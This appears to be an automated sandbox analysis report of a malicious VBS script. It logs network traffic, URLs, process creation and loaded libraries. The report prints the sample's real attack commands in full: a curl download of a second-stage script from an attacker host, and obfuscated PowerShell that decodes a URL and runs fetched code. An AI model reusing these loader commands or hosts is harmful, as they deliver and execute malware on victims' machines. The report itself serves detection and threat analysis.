Source: global traffic	HTTP traffic detected: GET /js/jfwdec.txt HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: file-download.bytez.cloud
Source: global traffic	DNS traffic detected: DNS query: bmuegbvuz7u3b.top

Source: powershell.exe, 0000000D.00000002.2263744169.00000176B9244000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2263744169.00000176B927A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2263744169.00000176B902D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C236000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C224000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bmuegbvuz7u3b.top
Source: powershell.exe, 0000000F.00000002.2264085173.0000010E5C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bmuegbvuz7u3b.top/1.php?s=mints21
Source: powershell.exe, 0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: powershell.exe, 0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.ctain
Source: powershell.exe, 0000000D.00000002.2310139455.00000176C79D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2263744169.00000176B9280000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2310139455.00000176C7895000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C2DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2315473336.0000010E6A9A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000F.00000002.2264085173.0000010E5AA1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000D.00000002.2263744169.00000176B7821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5A7F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000F.00000002.2264085173.0000010E5AA1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000D.00000002.2322203180.00000176CFCD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 0000000D.00000002.2263744169.00000176B7821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5A7F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: wscript.exe, 00000000.00000002.1791852784.000002BA48525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.clou
Source: wscript.exe, 00000009.00000002.1804652027.00000188955D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801477814.0000018895680000.00000004.00000020.00020000.00000000.sdmp, 676556be12aca.vbs.3.dr	String found in binary or memory: https://file-download.bytez.cloud/
Source: curl.exe, 00000003.00000003.1714352503.000001F202003000.00000004.00000020.00020000.00000000.sdmp, 676556be12ac3.vbs	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Source: wscript.exe, 00000000.00000003.1790570879.000002BA485C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1792190612.000002BA485C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs?
Source: curl.exe, 00000003.00000002.1714853559.000001F201FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsD
Source: curl.exe, 00000003.00000002.1714888731.000001F202006000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1714352503.000001F202003000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsG
Source: curl.exe, 00000003.00000002.1714853559.000001F201FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsWinsta0
Source: curl.exe, 00000003.00000002.1714853559.000001F201FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbscurl
Source: curl.exe, 00000003.00000002.1714888731.000001F202006000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1714352503.000001F202003000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbse
Source: curl.exe, 00000003.00000003.1714352503.000001F202003000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsn
Source: wscript.exe, 00000009.00000002.1805124153.0000018895680000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801477814.0000018895680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/Q
Source: wscript.exe, 00000006.00000003.1797942994.0000020662ACC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.1800007592.0000020662ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/ij
Source: wscript.exe, 00000009.00000003.1802818785.00000188976E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1803509715.00000188970C5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.1806385824.0000018897440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js/jfwdec.txt
Source: wscript.exe, 00000006.00000003.1797655812.00000206651A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/js/ykgnts.txt
Source: wscript.exe, 00000009.00000002.1806665767.00000188976E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1802818785.00000188976E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/jsdec.js
Source: wscript.exe, 00000006.00000002.1801480778.00000206651A6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1797655812.00000206651A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/jsnts.js
Source: wscript.exe, wscript.exe, 00000009.00000002.1805059352.0000018895646000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801692620.0000018895639000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801644937.000001889562D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801800874.0000018895645000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.1806385824.0000018897440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/list_files.php
Source: wscript.exe, 00000006.00000003.1797209827.0000020662B6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.1800424693.0000020662B6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-download.bytez.cloud/v
Source: powershell.exe, 0000000F.00000002.2264085173.0000010E5AA1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000D.00000002.2263744169.00000176B844C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5B41C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: wscript.exe, 00000006.00000003.1797209827.0000020662B6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.1800424693.0000020662B6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.1805124153.0000018895680000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801477814.0000018895680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 0000000D.00000002.2310139455.00000176C79D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2310139455.00000176C7895000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2315473336.0000010E6A9A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49734 version: TLS 1.2

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior

Source: 676556be12ac3.vbs

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@28/14@2/3

Source: C:\Windows\System32\curl.exe

File created: C:\Users\Public\676556be12aca.vbs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7644:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\ykgnts.js

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs"

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\ykgnts.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\jfwdec.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\ykgnts.js	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\jfwdec.js
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
